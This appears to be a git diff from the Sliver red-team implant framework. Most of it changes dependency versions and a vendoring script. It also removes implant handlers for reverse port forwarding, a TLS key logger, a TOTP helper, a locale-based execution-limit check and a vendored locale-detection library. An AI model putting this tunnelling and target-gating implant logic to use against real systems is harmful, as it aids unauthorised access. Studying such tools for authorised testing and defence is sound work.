google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.28.1
google.golang.org/protobuf v1.27.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/mysql v1.3.6
gorm.io/driver/postgres v1.3.10
gorm.io/driver/sqlite v1.3.6
gorm.io/gorm v1.23.9
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
)
@@ -61,66 +55,58 @@ require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/chromedp/sysutil v1.0.0 // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/dlclark/regexp2 v1.4.0 // indirect
github.com/fsnotify/fsnotify v1.4.9 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.6.0 // indirect
github.com/gobwas/httphead v0.1.0 // indirect
github.com/gobwas/pool v0.2.1 // indirect
github.com/gobwas/ws v1.1.0 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/google/go-cmp v0.5.8 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.13.0 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
github.com/jackc/pgio v1.0.0 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgproto3/v2 v2.3.1 // indirect
github.com/jackc/pgproto3/v2 v2.0.5 // indirect
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
github.com/jackc/pgtype v1.12.0 // indirect
github.com/jackc/pgx/v4 v4.17.2 // indirect
github.com/jackc/pgtype v1.5.0 // indirect
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.5 // indirect
github.com/josharian/intern v1.0.0 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.14 // indirect
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/nxadm/tail v1.4.8 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/rivo/uniseg v0.2.0 // indirect
github.com/sergi/go-diff v1.1.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
github.com/yusufpapurcu/wmi v1.2.2 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
gopkg.in/yaml.v3 v3.0.0 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
+927 -172
View File
File diff suppressed because it is too large. Load diff
+9 -15
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.18
go 1.17
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
@@ -10,40 +10,34 @@ require (
github.com/lesnuages/go-winio v0.4.19
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/onsi/ginkgo v1.16.5
github.com/onsi/gomega v1.20.2
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/protobuf v1.28.0
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5
google.golang.org/protobuf v1.26.0
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
)
require (
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/fsnotify/fsnotify v1.4.9 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/google/go-cmp v0.5.8 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/nxadm/tail v1.4.8 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/mod v0.4.2 // indirect
golang.org/x/text v0.3.7 // indirect
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/tools v0.1.7 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
)
+898 -35
View File
File diff suppressed because it is too large. Load diff
+6 -16
View File
@@ -1,17 +1,7 @@
#!/bin/bash
#!/bin/sh
set -e
cleanup() {
[ ! -z "$1" ] && echo "Error $1 occurred on $2"
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
}
# we are expecting from run from sliver/implant via 'go generate'
cd scripts
@@ -22,10 +12,6 @@ cp ../go-mod "${tempDir}/go.mod"
cp ../go-sum "${tempDir}/go.sum"
mv ../vendor "${tempDir}/vendor"
# Trap when a build fails so we can reset the environment
trap 'cleanup $? $LINENO' ERR
# build Go file with all imported packages
go run update-vendor.go "$tempDir"
cd "$tempDir"
@@ -34,4 +20,8 @@ go mod tidy -compat=1.17
go mod vendor
# move updated files back
cleanup
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
-9
View File
@@ -182,15 +182,6 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
return ciphertext, nil
}
// GetExactOTPCode - Get the OTP code for a specific timestamp
func GetExactOTPCode(timestamp time.Time) string {
code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
// {{if .Config.Debug}}
log.Printf("TOTP Code (%s): %s", timestamp, code)
// {{end}}
return code
}
// GetOTPCode - Get the current OTP code
func GetOTPCode() string {
now := time.Now().UTC()
-42
View File
@@ -1,42 +0,0 @@
package cryptography
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
)
var (
// TLSKeyLogger - File descriptor for logging TLS keys
TLSKeyLogger = newKeyLogger()
)
func newKeyLogger() *os.File {
// {{if .Config.Debug}}
keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
if present {
keyFile, err := os.OpenFile(keyFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
return nil
}
return keyFile
}
// {{end}}
return nil
}
-9
View File
@@ -58,9 +58,6 @@ type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
// PivotHandler - Handler related to pivoting
type PivotHandler func(*sliverpb.Envelope, *transports.Connection)
// RportFwdHandler - Handler related to reverse port forwarding
type RportFwdHandler func(*sliverpb.Envelope, *transports.Connection)
// -----------------------------------------------------
// -----------------------------------------------------
// -----------------------------------------------------
@@ -375,9 +372,6 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
to download a single file
*/
fileInfo, err := os.Stat(path + filter)
if err != nil {
return nil, false, 0, 1, err
}
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
@@ -599,9 +593,6 @@ func executeHandler(data []byte, resp RPCResponse) {
Err: fmt.Sprintf("%s", err),
}
}
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
}
data, err = proto.Marshal(execResp)
resp(data, err)
@@ -1,159 +0,0 @@
package handlers
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"time"
rportfwd "github.com/bishopfox/sliver/implant/sliver/rportfwd"
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
var (
genericRportFwdHandlers = map[uint32]RportFwdHandler{
pb.MsgRportFwdListenersReq: rportFwdListenersHandler,
pb.MsgRportFwdStartListenerReq: rportFwdStartListenerHandler,
pb.MsgRportFwdStopListenerReq: rportFwdStopListenerHandler,
}
)
// GetRportFwdHandlers - Returns a map of reverse port forwarding handlers
func GetRportFwdHandlers() map[uint32]RportFwdHandler {
return genericRportFwdHandlers
}
func rportFwdListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
forwards := rportfwd.Portfwds.List()
var portfwdListeners []*pb.RportFwdListener
for _, portfwd := range forwards {
portfwdListeners = append(portfwdListeners, &pb.RportFwdListener{
ID: uint32(portfwd.ID),
BindAddress: portfwd.BindAddr,
ForwardAddress: portfwd.RemoteAddr,
})
}
data, _ := proto.Marshal(&pb.RportFwdListeners{
Listeners: portfwdListeners,
Response: &commonpb.Response{},
})
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
func rportFwdStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.RportFwdStartListenerReq{}
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
rportfwds := rportfwd.Portfwds.List()
for _, r := range rportfwds {
if r.BindAddr == req.BindAddress {
resp.Response.Err = "Already listening on " + r.BindAddr + "\n"
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &rportfwd.ChannelProxy{
Conn: connection,
RemoteAddr: req.ForwardAddress,
BindAddr: req.BindAddress,
KeepAlivePeriod: 1000 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(req.BindAddress, channelProxy)
rportfwd := rportfwd.Portfwds.Add(tcpProxy, channelProxy)
go func() {
err := tcpProxy.Run()
if err != nil {
// {{if .Config.Debug}}
log.Printf("Proxy error %s", err)
// {{end}}
}
}()
resp.BindAddress = req.BindAddress
resp.ForwardAddress = req.ForwardAddress
resp.BindPort = req.ForwardPort
resp.ForwardPort = req.ForwardPort
resp.ID = uint32(rportfwd.ID)
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
func rportFwdStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.RportFwdStopListenerReq{}
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
rportfwd := rportfwd.Portfwds.Remove(int(req.ID))
if rportfwd != nil {
resp.ID = uint32(rportfwd.ID)
resp.BindAddress = rportfwd.ChannelProxy.BindAddr
resp.ForwardAddress = rportfwd.ChannelProxy.RemoteAddr
} else {
resp.Response.Err = "Invalid ID\n"
}
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
@@ -19,18 +19,17 @@ package tunnel_handlers
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"fmt"
"io"
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -109,31 +108,23 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
Data: portfwdResp,
}
once := sync.Once{}
cleanup := func(reason error) {
once.Do(func() {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
cleanupTunnel := connection.Tunnel(tunnel.ID)
if cleanupTunnel == nil {
return
}
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := connection.Tunnel(tunnel.ID)
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: cleanupTunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(cleanupTunnel.ID)
if dst != nil {
dst.Close()
}
cancelContext()
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
-22
View File
@@ -30,10 +30,7 @@ import (
// {{if .Config.LimitUsername}}
"os/user"
// {{end}}
// {{if .Config.LimitLocale}}
"regexp"
// {{end}}
// {{if .Config.LimitDatetime}}
@@ -43,10 +40,6 @@ import (
// {{if or .Config.LimitHostname .Config.LimitUsername}}
"strings"
// {{else}}{{end}}
// {{if .Config.LimitLocale}}
"github.com/bishopfox/sliver/implant/sliver/locale"
// {{end}}
)
// ExecLimits - Checks for execution limitations (domain, hostname, etc)
@@ -111,21 +104,6 @@ func ExecLimits() {
}
// {{end}}
// {{if .Config.LimitLocale}}
locale := locale.GetLocale()
match, err := regexp.MatchString(`{{.Config.LimitLocale}}`, locale)
if !match {
// {{if .Config.Debug}}
if err != nil {
log.Printf("LimitLocale regexp: %s", err)
} else {
log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
}
// {{end}}
os.Exit(1)
}
// {{end}}
// {{if .Config.Debug}}
log.Printf("Limit checks completed")
// {{end}}
-201
View File
@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
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"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
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"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
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means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
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designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
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2. Grant of Copyright License. Subject to the terms and conditions of
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You may add Your own copyright statement to Your modifications and
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5. Submission of Contributions. Unless You explicitly state otherwise,
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Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
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7. Disclaimer of Warranty. Unless required by applicable law or
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WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
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8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
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Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
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the Work or Derivative Works thereof, You may choose to offer,
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License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
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Copyright 2014 Pivotal
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
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Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -1,95 +0,0 @@
# Jibber Jabber [![Build Status](https://travis-ci.org/cubiest/jibberjabber.svg?branch=master)](https://travis-ci.org/cubiest/jibberjabber)
Jibber Jabber is a GoLang Library that can be used to detect an operating system's current language, plus helper functionalities for app development.
## OS Support
UNIX: **GNU/Linux**, **macOS**, **FreeBSD**, **OpenBSD**, **NetBSD**
via the `LC_MESSAGES`, `LC_ALL` and `LANG` environment variables. They are checked in the aforementioned order.
These variables are used in ALL versions of UNIX for language detection.
**Windows**
via [GetUserDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getuserdefaultlocalename) and [GetSystemDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getsystemdefaultlocalename) system calls. These calls are supported in Windows Vista and up.
## DetectIETF
`DetectIETF` will return the current locale as a string. The format of the locale will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code, a DASH, then an [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
**Example:**
```golang
userLocale, err := jibberjabber.DetectIETF()
println("Locale:", userLocale)
```
## DetectLanguage
`DetectLanguage` will return the current language as a string. The format will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code.
also import the following packages for parsing the returned locale
```golang
"golang.org/x/text/language"
"golang.org/x/text/language/display"
```
**Example:**
```golang
userLanguage, err := jibberjabber.DetectLanguage()
println("Language:", userLanguage)
languageTag, parseErr := language.Parse(userLanguage)
println("Language:", display.Self.Name(languageTag))
```
## DetectLanguageTag
`DetectLanguageTag` will return the current language as a language tag as specified by `"golang.org/x/text/language"`.
**Example:**
```golang
languageTag, parseErr := jibberjabber.DetectLanguageTag()
println("Language:", display.Self.Name(languageTag))
```
## DetectTerritory
`DetectTerritory` will return the current locale territory as a string. The format will be the [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
**Example:**
```golang
localeTerritory, err := jibberjabber.DetectTerritory()
println("Territory:", localeTerritory)
```
## About Errors in Detect
All the Detect commands will return an error if they are unable to read the Locale from the system.
For Windows, additional error information is provided due to the nature of the system call being used.
## Helper Singleton
There is a singleton you can, but don't have to, use. It helps you define and later check which locales you support in your application - if not, apply a fallback language locale.
**Example:**
```golang
langServer := jibberjabber.LanguageServer()
langServer.SetSupportedLanguages(map[language.Tag]string{
language.German: "active.de.toml",
language.English: "active.en.toml",
}
langServer.SetFallbackLanguage(language.English)
langLocale, err := langServer.StringToSupportedLanguageTag("something") // returns `language.English`
if err != nil {
log.Printf("failed fetching supported language locale, use fallback language locale %q\n", display.Self.Name(langLocale))
}
```
@@ -1,44 +0,0 @@
package jibberjabber
import (
"errors"
// "fmt"
// "sort"
"strings"
// "sync"
// "golang.org/x/text/language"
// "golang.org/x/text/language/display"
)
var (
ErrLangDetectFail = errors.New("could not detect Language")
ErrLangFallbackUndefined = errors.New("no fallback language defined")
ErrLangFallbackUnsupported = errors.New("defined fallback language is not supported")
ErrLangUnsupported = errors.New("language not supported")
ErrLangParse = errors.New("language identifier cannot be parsed")
)
func splitLocale(locale string) (string, string) {
formattedLocale := strings.Split(locale, ".")[0]
formattedLocale = strings.Replace(formattedLocale, "-", "_", -1)
pieces := strings.Split(formattedLocale, "_")
language := pieces[0]
territory := ""
if len(pieces) > 1 {
territory = strings.Split(formattedLocale, "_")[1]
}
return language, territory
}
/**
* languageServer
*/
// IsError checks an error you received from one of jibberjabber's funcs for a jibberjabber error like `ErrLangDetectFail`.
// Reason you cannot use e.g. `errors.Is()`: currently, golang does not allow native chain-wrapping errors. Therefore, `errors.Unwrap()`, `errors.Is()` & Co. won't return `true` for jibberjabber errors.
func IsError(err error, jjError error) bool {
return strings.HasPrefix(err.Error(), jjError.Error())
}
@@ -1,13 +0,0 @@
package jibberjabber_test
import (
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"testing"
)
func TestJibberJabber(t *testing.T) {
RegisterFailHandler(Fail)
RunSpecs(t, "Jibber Jabber Suite")
}
@@ -1,44 +0,0 @@
// +build darwin freebsd linux netbsd openbsd
package jibberjabber
import (
"os"
"strings"
)
func getLangFromEnv() string {
for _, env := range []string{"LC_MESSAGES", "LC_ALL", "LANG"} {
locale := os.Getenv(env)
if len(locale) > 0 {
return locale
}
}
return ""
}
func getUnixLocale() (string, error) {
locale := getLangFromEnv()
if len(locale) <= 0 {
return "", ErrLangDetectFail
}
return locale, nil
}
// DetectIETF detects and returns the IETF language tag of UNIX systems, like Linux and macOS.
// If a territory is defined, the returned value will be in the format of `[language]-[territory]`,
// e.g. `en-GB`.
func DetectIETF() (string, error) {
locale, err := getUnixLocale()
if err != nil {
return "", err
}
language, territory := splitLocale(locale)
locale = language
if len(territory) > 0 {
locale = strings.Join([]string{language, territory}, "-")
}
return locale, nil
}
@@ -1,155 +0,0 @@
// +build darwin freebsd linux netbsd openbsd
package jibberjabber_test
import (
"errors"
"os"
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
var _ = Describe("Unix", func() {
AfterEach(func() {
os.Setenv("LC_MESSAGES", "")
os.Setenv("LC_ALL", "")
os.Setenv("LANG", "en_US.UTF-8")
})
Describe("#DetectIETF", func() {
Context("Returns IETF encoded locale", func() {
It("should return the locale set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return the locale set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return the locale set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return an error if it cannot detect a locale", func() {
os.Setenv("LANG", "")
_, err := DetectIETF()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
Context("when the locale is simply 'fr'", func() {
BeforeEach(func() {
os.Setenv("LANG", "fr")
})
It("should return the locale without a territory", func() {
language, err := DetectIETF()
Ω(err).ShouldNot(HaveOccurred())
Ω(language).Should(Equal("fr"))
})
})
})
Describe("#DetectLanguage", func() {
Context("Returns encoded language", func() {
It("should return the language set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return the language set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return the language set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return an error if it cannot detect a language", func() {
os.Setenv("LANG", "")
_, err := DetectLanguage()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
Describe("#DetectLanguageTag", func() {
Context("Returns encoded language tag", func() {
It("should return language tag corresponding to the language set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return language tag corresponding to the language set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return language tag corresponding to the language set to LANG if LC_ALL isn't set", func() {
